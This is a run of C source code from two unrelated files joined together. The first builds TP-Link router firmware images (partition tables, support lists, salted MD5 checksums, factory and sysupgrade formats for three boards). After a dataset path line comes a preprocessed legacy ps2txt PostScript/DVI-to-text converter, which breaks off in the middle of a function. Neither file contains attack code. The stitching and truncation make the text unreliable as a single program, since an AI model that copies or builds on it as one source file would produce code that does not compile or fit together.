s->year_lo = bcd(tm->tm_year%100);
s->month = bcd(tm->tm_mon+1);
s->day = bcd(tm->tm_mday);
s->rev = htonl(rev);
s->pad2 = 0xff;
return entry;
}
/** Generates the support-list partition */
static struct image_partition_entry make_support_list(const char *support_list, bool trailzero) {
size_t len = strlen(support_list);
struct image_partition_entry entry = alloc_image_partition("support-list", len + 9);
put32(entry.data, len);
memset(entry.data+4, 0, 4);
memcpy(entry.data+8, support_list, len);
entry.data[len+8] = trailzero ? '\x00' : '\xff';
return entry;
}
/** Creates a new image partition with an arbitrary name from a file */
static struct image_partition_entry read_file(const char *part_name, const char *filename, bool add_jffs2_eof) {
struct stat statbuf;
if (stat(filename, &statbuf) < 0)
error(1, errno, "unable to stat file `%s'", filename);
size_t len = statbuf.st_size;
if (add_jffs2_eof)
len = ALIGN(len, 0x10000) + sizeof(jffs2_eof_mark);
struct image_partition_entry entry = alloc_image_partition(part_name, len);
FILE *file = fopen(filename, "rb");
if (!file)
error(1, errno, "unable to open file `%s'", filename);
if (fread(entry.data, statbuf.st_size, 1, file) != 1)
error(1, errno, "unable to read file `%s'", filename);
if (add_jffs2_eof) {
uint8_t *eof = entry.data + statbuf.st_size, *end = entry.data+entry.size;
memset(eof, 0xff, end - eof - sizeof(jffs2_eof_mark));
memcpy(end - sizeof(jffs2_eof_mark), jffs2_eof_mark, sizeof(jffs2_eof_mark));
}
fclose(file);
return entry;
}
/**
Copies a list of image partitions into an image buffer and generates the image partition table while doing so
Example image partition table:
fwup-ptn partition-table base 0x00800 size 0x00800
fwup-ptn os-image base 0x01000 size 0x113b45
fwup-ptn file-system base 0x114b45 size 0x1d0004
fwup-ptn support-list base 0x2e4b49 size 0x000d1
Each line of the partition table is terminated with the bytes 09 0d 0a ("\t\r\n"),
the end of the partition table is marked with a zero byte.
The firmware image must contain at least the partition-table and support-list partitions
to be accepted. There aren't any alignment constraints for the image partitions.
The partition-table partition contains the actual flash layout; partitions
from the image partition table are mapped to the corresponding flash partitions during
the firmware upgrade. The support-list partition contains a list of devices supported by
the firmware image.
The base offsets in the firmware partition table are relative to the end
of the vendor information block, so the partition-table partition will
actually start at offset 0x1814 of the image.
I think partition-table must be the first partition in the firmware image.
*/
static void put_partitions(uint8_t *buffer, const struct image_partition_entry *parts) {
size_t i;
char *image_pt = (char *)buffer, *end = image_pt + 0x800;
size_t base = 0x800;
for (i = 0; parts[i].name; i++) {
memcpy(buffer + base, parts[i].data, parts[i].size);
size_t len = end-image_pt;
size_t w = snprintf(image_pt, len, "fwup-ptn %s base 0x%05x size 0x%05x\t\r\n", parts[i].name, (unsigned)base, (unsigned)parts[i].size);
if (w > len-1)
error(1, 0, "image partition table overflow?");
image_pt += w;
base += parts[i].size;
}
image_pt++;
memset(image_pt, 0xff, end-image_pt);
}
/** Generates and writes the image MD5 checksum */
static void put_md5(uint8_t *md5, uint8_t *buffer, unsigned int len) {
MD5_CTX ctx;
MD5_Init(&ctx);
MD5_Update(&ctx, md5_salt, (unsigned int)sizeof(md5_salt));
MD5_Update(&ctx, buffer, len);
MD5_Final(md5, &ctx);
}
/**
Generates the firmware image in factory format
Image format:
Bytes (hex) Usage
----------- -----
0000-0003 Image size (4 bytes, big endian)
0004-0013 MD5 hash (hash of a 16 byte salt and the image data starting with byte 0x14)
0014-0017 Vendor information length (without padding) (4 bytes, big endian)
0018-1013 Vendor information (4092 bytes, padded with 0xff; there seem to be older
(VxWorks-based) TP-LINK devices which use a smaller vendor information block)
1014-1813 Image partition table (2048 bytes, padded with 0xff)
1814-xxxx Firmware partitions
*/
static void * generate_factory_image(const char *vendor, const struct image_partition_entry *parts, size_t *len) {
*len = 0x1814;
size_t i;
for (i = 0; parts[i].name; i++)
*len += parts[i].size;
uint8_t *image = malloc(*len);
if (!image)
error(1, errno, "malloc");
put32(image, *len);
size_t vendor_len = strlen(vendor);
put32(image+0x14, vendor_len);
memcpy(image+0x18, vendor, vendor_len);
memset(image+0x18+vendor_len, 0xff, 4092-vendor_len);
put_partitions(image + 0x1014, parts);
put_md5(image+0x04, image+0x14, *len-0x14);
return image;
}
/**
Generates the firmware image in sysupgrade format
This makes some assumptions about the provided flash and image partition tables and
should be generalized when TP-LINK starts building its safeloader into hardware with
different flash layouts.
*/
static void * generate_sysupgrade_image(const struct flash_partition_entry *flash_parts, const struct image_partition_entry *image_parts, size_t *len) {
const struct flash_partition_entry *flash_os_image = &flash_parts[5];
const struct flash_partition_entry *flash_soft_version = &flash_parts[6];
const struct flash_partition_entry *flash_support_list = &flash_parts[7];
const struct flash_partition_entry *flash_file_system = &flash_parts[8];
const struct image_partition_entry *image_os_image = &image_parts[3];
const struct image_partition_entry *image_soft_version = &image_parts[1];
const struct image_partition_entry *image_support_list = &image_parts[2];
const struct image_partition_entry *image_file_system = &image_parts[4];
assert(strcmp(flash_os_image->name, "os-image") == 0);
assert(strcmp(flash_soft_version->name, "soft-version") == 0);
assert(strcmp(flash_support_list->name, "support-list") == 0);
assert(strcmp(flash_file_system->name, "file-system") == 0);
assert(strcmp(image_os_image->name, "os-image") == 0);
assert(strcmp(image_soft_version->name, "soft-version") == 0);
assert(strcmp(image_support_list->name, "support-list") == 0);
assert(strcmp(image_file_system->name, "file-system") == 0);
if (image_os_image->size > flash_os_image->size)
error(1, 0, "kernel image too big (more than %u bytes)", (unsigned)flash_os_image->size);
if (image_file_system->size > flash_file_system->size)
error(1, 0, "rootfs image too big (more than %u bytes)", (unsigned)flash_file_system->size);
*len = flash_file_system->base - flash_os_image->base + image_file_system->size;
uint8_t *image = malloc(*len);
if (!image)
error(1, errno, "malloc");
memset(image, 0xff, *len);
memcpy(image, image_os_image->data, image_os_image->size);
memcpy(image + flash_soft_version->base - flash_os_image->base, image_soft_version->data, image_soft_version->size);
memcpy(image + flash_support_list->base - flash_os_image->base, image_support_list->data, image_support_list->size);
memcpy(image + flash_file_system->base - flash_os_image->base, image_file_system->data, image_file_system->size);
return image;
}
static void * generate_sysupgrade_image_c2600(const struct flash_partition_entry *flash_parts, const struct image_partition_entry *image_parts, size_t *len) {
const struct flash_partition_entry *flash_os_image = &flash_parts[11];
const struct flash_partition_entry *flash_file_system = &flash_parts[12];
const struct image_partition_entry *image_os_image = &image_parts[3];
const struct image_partition_entry *image_file_system = &image_parts[4];
assert(strcmp(flash_os_image->name, "os-image") == 0);
assert(strcmp(flash_file_system->name, "file-system") == 0);
assert(strcmp(image_os_image->name, "os-image") == 0);
assert(strcmp(image_file_system->name, "file-system") == 0);
if (image_os_image->size > flash_os_image->size)
error(1, 0, "kernel image too big (more than %u bytes)", (unsigned)flash_os_image->size);
if (image_file_system->size > flash_file_system->size)
error(1, 0, "rootfs image too big (more than %u bytes)", (unsigned)flash_file_system->size);
*len = flash_file_system->base - flash_os_image->base + image_file_system->size;
uint8_t *image = malloc(*len);
if (!image)
error(1, errno, "malloc");
memset(image, 0xff, *len);
memcpy(image, image_os_image->data, image_os_image->size);
memcpy(image + flash_file_system->base - flash_os_image->base, image_file_system->data, image_file_system->size);
return image;
}
static void * generate_sysupgrade_image_tl1043ndv4(const struct flash_partition_entry *flash_parts, const struct image_partition_entry *image_parts, size_t *len) {
const struct flash_partition_entry *flash_os_image = &flash_parts[1];
const struct flash_partition_entry *flash_file_system = &flash_parts[2];
const struct image_partition_entry *image_os_image = &image_parts[3];
const struct image_partition_entry *image_file_system = &image_parts[4];
assert(strcmp(flash_os_image->name, "os-image") == 0);
assert(strcmp(flash_file_system->name, "file-system") == 0);
assert(strcmp(image_os_image->name, "os-image") == 0);
assert(strcmp(image_file_system->name, "file-system") == 0);
if (image_os_image->size > flash_os_image->size)
error(1, 0, "kernel image too big (more than %u bytes)", (unsigned)flash_os_image->size);
if (image_file_system->size > flash_file_system->size)
error(1, 0, "rootfs image too big (more than %u bytes)", (unsigned)flash_file_system->size);
*len = flash_file_system->base - flash_os_image->base + image_file_system->size;
uint8_t *image = malloc(*len);
if (!image)
error(1, errno, "malloc");
memset(image, 0xff, *len);
memcpy(image, image_os_image->data, image_os_image->size);
memcpy(image + flash_file_system->base - flash_os_image->base, image_file_system->data, image_file_system->size);
return image;
}
/** Generates an image for CPE210/220/510/520 and writes it to a file */
static void do_cpe510(const char *output, const char *kernel_image, const char *rootfs_image, uint32_t rev, bool add_jffs2_eof, bool sysupgrade) {
struct image_partition_entry parts[6] = {};
parts[0] = make_partition_table(cpe510_partitions);
parts[1] = make_soft_version(rev);
parts[2] = make_support_list(cpe510_support_list,false);
parts[3] = read_file("os-image", kernel_image, false);
parts[4] = read_file("file-system", rootfs_image, add_jffs2_eof);
size_t len;
void *image;
if (sysupgrade)
image = generate_sysupgrade_image(cpe510_partitions, parts, &len);
else
image = generate_factory_image(cpe510_vendor, parts, &len);
FILE *file = fopen(output, "wb");
if (!file)
error(1, errno, "unable to open output file");
if (fwrite(image, len, 1, file) != 1)
error(1, 0, "unable to write output file");
fclose(file);
free(image);
size_t i;
for (i = 0; parts[i].name; i++)
free_image_partition(parts[i]);
}
/** Generates an image for C2600 and writes it to a file */
static void do_c2600(const char *output, const char *kernel_image, const char *rootfs_image, uint32_t rev, bool add_jffs2_eof, bool sysupgrade) {
struct image_partition_entry parts[6] = {};
parts[0] = make_partition_table(c2600_partitions);
parts[1] = make_soft_version(rev);
parts[2] = make_support_list(c2600_support_list,true);
parts[3] = read_file("os-image", kernel_image, false);
parts[4] = read_file("file-system", rootfs_image, add_jffs2_eof);
size_t len;
void *image;
if (sysupgrade)
image = generate_sysupgrade_image_c2600(c2600_partitions, parts, &len);
else
image = generate_factory_image(c2600_vendor, parts, &len);
FILE *file = fopen(output, "wb");
if (!file)
error(1, errno, "unable to open output file");
if (fwrite(image, len, 1, file) != 1)
error(1, 0, "unable to write output file");
fclose(file);
free(image);
size_t i;
for (i = 0; parts[i].name; i++)
free_image_partition(parts[i]);
}
/** Generates an image for TL1043NDv4 and writes it to a file */
static void do_tl1043ndv4(const char *output, const char *kernel_image, const char *rootfs_image, uint32_t rev, bool add_jffs2_eof, bool sysupgrade) {
struct image_partition_entry parts[6] = {};
parts[0] = make_partition_table(tl1043ndv4_partitions);
parts[1] = make_soft_version(rev);
parts[2] = make_support_list(tl1043ndv4_support_list,true);
parts[3] = read_file("os-image", kernel_image, false);
parts[4] = read_file("file-system", rootfs_image, add_jffs2_eof);
size_t len;
void *image;
if (sysupgrade)
image = generate_sysupgrade_image_tl1043ndv4(tl1043ndv4_partitions, parts, &len);
else
image = generate_factory_image(tl1043ndv4_vendor, parts, &len);
FILE *file = fopen(output, "wb");
if (!file)
error(1, errno, "unable to open output file");
if (fwrite(image, len, 1, file) != 1)
error(1, 0, "unable to write output file");
fclose(file);
free(image);
size_t i;
for (i = 0; parts[i].name; i++)
free_image_partition(parts[i]);
}
/** Usage output */
static void usage(const char *argv0) {
fprintf(stderr,
"Usage: %s [OPTIONS...]\n"
"\n"
"Options:\n"
" -B <board> create image for the board specified with <board>\n"
" -k <file> read kernel image from the file <file>\n"
" -r <file> read rootfs image from the file <file>\n"
" -o <file> write output to the file <file>\n"
" -V <rev> sets the revision number to <rev>\n"
" -j add jffs2 end-of-filesystem markers\n"
" -S create sysupgrade instead of factory image\n"
" -h show this help\n",
argv0
);
};
int main(int argc, char *argv[]) {
const char *board = NULL, *kernel_image = NULL, *rootfs_image = NULL, *output = NULL;
bool add_jffs2_eof = false, sysupgrade = false;
unsigned rev = 0;
while (true) {
int c;
c = getopt(argc, argv, "B:k:r:o:V:jSh");
if (c == -1)
break;
switch (c) {
case 'B':
board = optarg;
break;
case 'k':
kernel_image = optarg;
break;
case 'r':
rootfs_image = optarg;
break;
case 'o':
output = optarg;
break;
case 'V':
sscanf(optarg, "r%u", &rev);
break;
case 'j':
add_jffs2_eof = true;
break;
case 'S':
sysupgrade = true;
break;
case 'h':
usage(argv[0]);
return 0;
default:
usage(argv[0]);
return 1;
}
}
if (!board)
error(1, 0, "no board has been specified");
if (!kernel_image)
error(1, 0, "no kernel image has been specified");
if (!rootfs_image)
error(1, 0, "no rootfs image has been specified");
if (!output)
error(1, 0, "no output filename has been specified");
if (strcmp(board, "CPE510") == 0)
do_cpe510(output, kernel_image, rootfs_image, rev, add_jffs2_eof, sysupgrade);
else if (strcmp(board, "C2600") == 0)
do_c2600(output, kernel_image, rootfs_image, rev, add_jffs2_eof, sysupgrade);
else if (strcmp(board, "TLWR1043NDV4") == 0)
do_tl1043ndv4(output, kernel_image, rootfs_image, rev, add_jffs2_eof, sysupgrade);
else
error(1, 0, "unsupported board %s", board);
return 0;
}
|
the_stack_data/9513253.c |
typedef int __int32_t;
typedef unsigned __uint32_t;
typedef long long __int64_t;
typedef unsigned long long __uint64_t;
typedef __int32_t __psint_t;
typedef __uint32_t __psunsigned_t;
typedef __int32_t __scint_t;
typedef __uint32_t __scunsigned_t;
typedef unsigned int size_t;
typedef long fpos_t;
typedef __int64_t off64_t;
typedef __int64_t fpos64_t;
typedef char *va_list;
typedef struct
__file_s
{
int _cnt;
unsigned char *_ptr;
unsigned char *_base;
unsigned char _flag;
unsigned char _file;
} FILE;
extern FILE __iob[100 ];
extern FILE *_lastbuf;
extern unsigned char *_bufendtab[];
extern unsigned char _sibuf[], _sobuf[];
extern int remove(const char *);
extern int rename(const char *, const char *);
extern FILE *tmpfile(void);
extern char *tmpnam(char *);
extern int fclose(FILE *);
extern int fflush(FILE *);
extern FILE *fopen(const char *, const char *);
extern FILE *freopen(const char *, const char *, FILE *);
extern void setbuf(FILE *, char *);
extern int setvbuf(FILE *, char *, int, size_t);
extern int fprintf(FILE *, const char *, ...);
extern int fscanf(FILE *, const char *, ...);
extern int printf(const char *, ...);
extern int scanf(const char *, ...);
extern int sprintf(char *, const char *, ...);
extern int sscanf(const char *, const char *, ...);
extern int vfprintf(FILE *, const char *, char *);
extern int vprintf(const char *, char *);
extern int vsprintf(char *, const char *, char *);
extern int fgetc(FILE *);
extern char *fgets(char *, int, FILE *);
extern int fputc(int, FILE *);
extern int fputs(const char *, FILE *);
extern int getc(FILE *);
extern int getchar(void);
extern char *gets(char *);
extern int putc(int, FILE *);
extern int putchar(int);
extern int puts(const char *);
extern int ungetc(int, FILE *);
extern size_t fread(void *, size_t, size_t, FILE *);
extern size_t fwrite(const void *, size_t, size_t, FILE *);
extern int fgetpos(FILE *, fpos_t *);
extern int fseek(FILE *, long, int);
extern int fsetpos(FILE *, const fpos_t *);
extern long ftell(FILE *);
extern void rewind(FILE *);
extern void clearerr(FILE *);
extern int feof(FILE *);
extern int ferror(FILE *);
extern void perror(const char *);
extern int __filbuf(FILE *);
extern int __flsbuf(int, FILE *);
extern FILE *fdopen(int, const char *);
extern int fileno(FILE *);
extern void flockfile(FILE *);
extern int ftrylockfile(FILE *);
extern void funlockfile(FILE *);
extern int getc_unlocked(FILE *);
extern int putc_unlocked(int, FILE *);
extern int getchar_unlocked(void);
extern int putchar_unlocked(int);
extern FILE *popen(const char *, const char *);
extern int pclose(FILE *);
extern int getopt(int, char *const *, const char *);
extern char *optarg;
extern int opterr;
extern int optind;
extern int optopt;
extern int getsubopt(char **, char *const *, char **);
extern void getoptreset(void);
extern char *ctermid(char *);
extern char *cuserid(char *);
extern char *tempnam(const char *, const char *);
extern int getw(FILE *);
extern int putw(int, FILE *);
extern char *mktemp(char *);
extern int mkstemp(char *);
extern int setbuffer(FILE *, char *, int);
extern int setlinebuf(FILE *);
extern int system(const char *);
extern int fgetpos64(FILE *, fpos64_t *);
extern FILE *fopen64(const char *, const char *);
extern FILE *freopen64(const char *, const char *, FILE *);
extern int fseek64(FILE *, off64_t, int);
extern int fseeko64(FILE *, off64_t, int);
extern int fseeko(FILE *, __int64_t, int);
extern int fsetpos64(FILE *, const fpos64_t *);
extern off64_t ftell64(FILE *);
extern __int64_t ftello(FILE *);
extern off64_t ftello64(FILE *);
extern FILE *tmpfile64(void);
extern int __semputc(int, FILE *);
extern int __semgetc(FILE *);
extern int __us_rsthread_stdio;
extern char *ctermid_r(char *);
typedef unsigned char uchar_t;
typedef unsigned short ushort_t;
typedef unsigned int uint_t;
typedef unsigned long ulong_t;
typedef char * addr_t;
typedef char * caddr_t;
typedef long daddr_t;
typedef long pgno_t;
typedef __uint32_t pfn_t;
typedef short cnt_t;
typedef unsigned long basictime_t;
typedef __int64_t micro_t;
typedef __int32_t pgcnt_t;
typedef enum { B_FALSE, B_TRUE } boolean_t;
typedef long id_t;
typedef ulong_t major_t;
typedef ulong_t minor_t;
typedef ushort_t o_mode_t;
typedef short o_dev_t;
typedef ushort_t o_uid_t;
typedef o_uid_t o_gid_t;
typedef short o_nlink_t;
typedef short o_pid_t;
typedef __uint32_t o_ino_t;
typedef unsigned long mode_t;
typedef unsigned long dev_t;
typedef long uid_t;
typedef long gid_t;
typedef unsigned long nlink_t;
typedef long pid_t;
typedef dev_t vertex_hdl_t;
typedef unsigned long ino_t;
typedef __uint64_t ino64_t;
typedef long off_t;
typedef __scint_t __scoff_t;
typedef __scoff_t scoff_t;
typedef __int64_t blkcnt64_t;
typedef __uint64_t fsblkcnt64_t;
typedef __uint64_t fsfilcnt64_t;
typedef long blkcnt_t;
typedef ulong_t fsblkcnt_t;
typedef ulong_t fsfilcnt_t;
typedef long swblk_t;
typedef unsigned long paddr_t;
typedef unsigned long iopaddr_t;
typedef int key_t;
typedef unsigned char use_t;
typedef long sysid_t;
typedef short index_t;
typedef signed short nasid_t;
typedef signed short cnodeid_t;
typedef signed char partid_t;
typedef signed short moduleid_t;
typedef unsigned int lock_t;
typedef signed short cpuid_t;
typedef unsigned char pri_t;
typedef __uint64_t accum_t;
typedef __int64_t prid_t;
typedef __int64_t ash_t;
typedef int cell_t;
typedef int ssize_t;
typedef long time_t;
typedef long clock_t;
typedef long wchar_t;
typedef int clockid_t;
typedef int timer_t;
typedef unsigned int useconds_t;
typedef __scunsigned_t bitnum_t;
typedef __scunsigned_t bitlen_t;
typedef int processorid_t;
typedef int toid_t;
typedef long *qaddr_t;
typedef __uint32_t inst_t;
typedef unsigned machreg_t;
typedef __uint32_t fpreg_t;
typedef signed char int8_t;
typedef unsigned char uint8_t;
typedef signed short int16_t;
typedef unsigned short uint16_t;
typedef signed int int32_t;
typedef unsigned int uint32_t;
typedef __int64_t int64_t;
typedef __uint64_t uint64_t;
typedef __int64_t intmax_t;
typedef __uint64_t uintmax_t;
typedef signed long int intptr_t;
typedef unsigned long int uintptr_t;
typedef unsigned char u_int8_t;
typedef unsigned short u_int16_t;
typedef __uint32_t u_int32_t;
typedef long hostid_t;
typedef struct { int r[1]; } * physadr;
typedef unsigned char unchar;
typedef unsigned char u_char;
typedef unsigned short ushort;
typedef unsigned short u_short;
typedef unsigned int uint;
typedef unsigned int u_int;
typedef unsigned long ulong;
typedef unsigned long u_long;
typedef struct _quad { long val[2]; } quad;
typedef long fd_mask_t;
typedef unsigned long ufd_mask_t;
typedef struct fd_set {
fd_mask_t fds_bits[(((1024)+(( (int)(sizeof(fd_mask_t) * 8))-1))/( (int)(sizeof(fd_mask_t) * 8))) ];
} fd_set;
extern void *memcpy(void *, const void *, size_t);
extern void *memmove(void *, const void *, size_t);
extern char *strcpy(char *, const char *);
extern char *strncpy(char *, const char *, size_t);
extern char *strcat(char *, const char *);
extern char *strncat(char *, const char *, size_t);
extern void *memccpy(void *, const void *, int, size_t);
extern int memcmp(const void *, const void *, size_t);
extern int strcmp(const char *, const char *);
extern int strcoll(const char *, const char *);
extern int strncmp(const char *, const char *, size_t);
extern size_t strxfrm(char *, const char *, size_t);
extern void *memchr(const void *, int, size_t);
extern char *strchr(const char *, int);
extern size_t strcspn(const char *, const char *);
extern char *strpbrk(const char *, const char *);
extern char *strrchr(const char *, int);
extern size_t strspn(const char *, const char *);
extern char *strstr(const char *, const char *);
extern char *strtok(char *, const char *);
extern void *memset(void *, int, size_t);
extern char *strerror(int);
extern size_t strlen(const char *);
extern int ffs(int);
extern int strcasecmp(const char *, const char *);
extern int strncasecmp(const char *, const char *, size_t);
extern char *strdup(const char *);
extern char *strtok_r(char *, const char *, char **);
typedef long fd_mask;
typedef struct {
__uint32_t sigbits[2];
} k_sigset_t;
extern int bcmp(const void *, const void *, size_t);
extern void bcopy(const void *, void *, size_t);
extern void bzero(void *, size_t);
extern char *index(const char *, int);
extern char *rindex(const char *, int);
extern int isalnum(int);
extern int isalpha(int);
extern int iscntrl(int);
extern int isdigit(int);
extern int isgraph(int);
extern int islower(int);
extern int isprint(int);
extern int ispunct(int);
extern int isspace(int);
extern int isupper(int);
extern int isxdigit(int);
extern int tolower(int);
extern int toupper(int);
extern int isascii(int);
extern int toascii(int);
extern int _tolower(int);
extern int _toupper(int);
extern unsigned char __ctype[];
typedef struct {
int quot;
int rem;
} div_t;
typedef struct {
long quot;
long rem;
} ldiv_t;
typedef struct {
long long quot;
long long rem;
} lldiv_t;
extern unsigned char __ctype[];
extern double atof(const char *);
extern int atoi(const char *);
extern long int atol(const char *);
extern double strtod(const char *, char **);
extern long int strtol(const char *, char **, int);
extern unsigned long int strtoul(const char *, char **, int);
extern int rand(void);
extern void srand(unsigned int);
extern void *calloc(size_t, size_t);
extern void free(void *);
extern void *malloc(size_t);
extern void *realloc(void *, size_t);
extern void abort(void);
extern int atexit(void (*)(void));
extern void exit(int);
extern char *getenv(const char *);
extern int system(const char *);
extern void *bsearch(const void *, const void *, size_t, size_t,
int (*)(const void *, const void *));
extern void qsort(void *, size_t, size_t,
int (*)(const void *, const void *));
extern int abs(int);
extern div_t div(int, int);
extern long int labs(long);
extern ldiv_t ldiv(long, long);
extern int mbtowc(wchar_t *, const char *, size_t);
extern int mblen(const char *, size_t);
extern int wctomb(char *, wchar_t);
extern size_t mbstowcs(wchar_t *, const char *, size_t);
extern size_t wcstombs(char *, const wchar_t *, size_t);
extern int putenv(const char *);
extern double drand48(void);
extern double erand48(unsigned short [3]);
extern long lrand48(void);
extern long nrand48(unsigned short [3]);
extern long mrand48(void);
extern long jrand48(unsigned short [3]);
extern void srand48(long);
extern void lcong48(unsigned short int [7]);
extern void setkey(const char *);
extern unsigned short * seed48(unsigned short int [3]);
extern long a64l(const char *);
extern char *ecvt(double, int, int *, int *);
extern char *fcvt(double, int, int *, int *);
extern char *gcvt(double, int, char *);
extern int getsubopt(char **, char * const *, char **);
extern int grantpt(int);
extern char *initstate(unsigned int, char *, size_t);
extern char *l64a(long);
extern char *mktemp(char *);
extern int mkstemp(char *);
extern char *ptsname(int);
extern long random(void);
extern char *realpath(const char *, char *);
extern char *setstate(const char *);
extern void srandom(unsigned);
extern int ttyslot(void);
extern int unlockpt(int);
extern void *valloc(size_t);
extern int rand_r(unsigned int *);
extern int atcheckpoint(void (*)(void));
extern int atrestart(void (*)(void));
extern int getpw(int, char *);
extern void l3tol(long *, const char *, int);
extern void ltol3(char *, const long *, int);
extern void *memalign(size_t, size_t);
extern int dup2(int, int);
extern char *getcwd(char *, size_t);
extern char *getlogin(void);
extern char *getpass(const char *);
extern int isatty(int);
extern void swab(const void *, void *, ssize_t);
extern char *ttyname(int);
extern long long int atoll(const char *);
extern long long int strtoll(const char *, char **, int);
extern unsigned long long int strtoull(const char *, char **, int);
extern long long llabs(long long);
extern lldiv_t lldiv(long long, long long);
extern char *ecvt_r(double, int, int *, int *, char *);
extern char *fcvt_r(double, int, int *, int *, char *);
void dviparse(FILE *);
void psparse();
void main(argc, argv)
int argc;
char *argv[];
{
int i,
known_flag,
dvi_file = 0 ;
FILE *file, *source;
source = (&__iob[0]) ;
for(i=1; i<argc; i++)
{
known_flag = 0 ;
if (strcmp(argv[i],"-dvi") == 0)
{
dvi_file = 1 ;
known_flag = 1 ;
}
if (strcmp(argv[i],"-") == 0)
{
source = (&__iob[0]) ;
known_flag = 1 ;
}
if (!known_flag)
{
if ((file=fopen(argv[i],"r")) != 0L )
source=file;
else
{
fprintf((&__iob[2]) ,"ps2txt: error opening file %s\n",argv[i]);
fprintf((&__iob[2]) ,"usage: ps2txt [-dvi] [-] [input_file.ps]\n");
exit(1);
}
}
}
dviparse(source);
}
void dviparse(source)
FILE *source;
{
int ch,
prev_ch = '\n',
next_to_prev_ch = '\n',
in_paren = 0 ,
b_flag = 0 ,
b_space = 1 ,
c,
word_over_line = 0 ;
char junk[80];
while ((ch = fgetc(source)) != (-1) )
{
if (ch == '\n') ch = fgetc(source);
if (in_paren)
switch(ch)
{
case ')' : in_paren--; b_flag=1; break;
case '\n' : (__us_rsthread_stdio ? __semputc((' '), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((' ')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((' '))))) ; ; break;
case '-' : if((c = fgetc(source)) == ')') {
word_over_line=1 ;
}
else {
(__us_rsthread_stdio ? __semputc((ch), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((ch)), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((ch))))) ; ;
}
ungetc(c, source);
break;
(__us_rsthread_stdio ? __semputc((' '), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((' ')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((' '))))) ; ; break;
case '\\' :
switch(ch=fgetc(source))
{
case '(' :
case ')' : (__us_rsthread_stdio ? __semputc((ch), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((ch)), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((ch))))) ; ; break;
case 't' : (__us_rsthread_stdio ? __semputc(('\t'), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf((('\t')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)(('\t'))))) ; ; break;
case '\n' : break;
case 'n' : break;
case '\\': (__us_rsthread_stdio ? __semputc(('"'), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf((('"')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)(('"'))))) ; ; break;
case '0' : switch(ch=fgetc(source))
{
case '1': switch(ch=fgetc(source))
{
case '3' : fputs("ff",(&__iob[1]) ); break;
case '4' : fputs("fi",(&__iob[1]) ); break;
case '5' : fputs("fl",(&__iob[1]) ); break;
case '6' : fputs("ffi",(&__iob[1]) ); break;
case '7' : fputs("ffl",(&__iob[1]) ); break;
default: fputs("\\01",(&__iob[1]) ); (__us_rsthread_stdio ? __semputc((ch), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((ch)), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((ch))))) ; ;
} break;
default: fputs("\\0",(&__iob[1]) ); (__us_rsthread_stdio ? __semputc((ch), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((ch)), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((ch))))) ; ;
} break;
case '1' : case '2' : case '3' : case '4' :
case '5' : case '6' : case '7' : (__us_rsthread_stdio ? __semputc(('\\'), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf((('\\')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)(('\\'))))) ; ;
default: (__us_rsthread_stdio ? __semputc((ch), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((ch)), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((ch))))) ; ;
} break;
default: (__us_rsthread_stdio ? __semputc((ch), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((ch)), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((ch))))) ; ;
}
else
switch(ch)
{
case '%' : fgets(junk, 80, source); break;
case '\n' : break;
case '-' : if (b_flag)
{
b_flag = 0;
b_space = 0;
} break;
case '(' : in_paren++;
if(!word_over_line) {
if(!((__ctype + 1)[next_to_prev_ch] & (01 | 02 )) ) {
switch(prev_ch)
{
case 'l' : case 'm' : case 'n' : case 'o' :
case 'q' : case 'r' : case 's' : case 't' :
break;
case 'y' : (__us_rsthread_stdio ? __semputc(('\n'), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf((('\n')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)(('\n'))))) ; ; break;
case 'b' : if (b_space) (__us_rsthread_stdio ? __semputc((' '), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((' ')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((' '))))) ; ; break;
case 'a' : case 'c' : case 'd' : case 'e' :
case 'f' : case 'g' : case 'h' : case 'i' :
case 'j' : case 'k' : case 'x' : (__us_rsthread_stdio ? __semputc((' '), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((' ')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((' '))))) ; ; break;
default: break;
}
}
else {
(__us_rsthread_stdio ? __semputc((' '), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((' ')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((' '))))) ; ;
}
}
b_space = 1;
word_over_line = 0 ;
break;
default: b_flag = 0; break;
}
next_to_prev_ch=prev_ch;
prev_ch=ch;
}
}
void psparse(source)
FILE *source;
{
char *str;
char junk[80];
int ch, para=0, last=0;
while ((ch=fgetc(source)) != (-1) )
{
switch (ch)
{
case '%' : if (para==0) fgets(junk, 80, source);
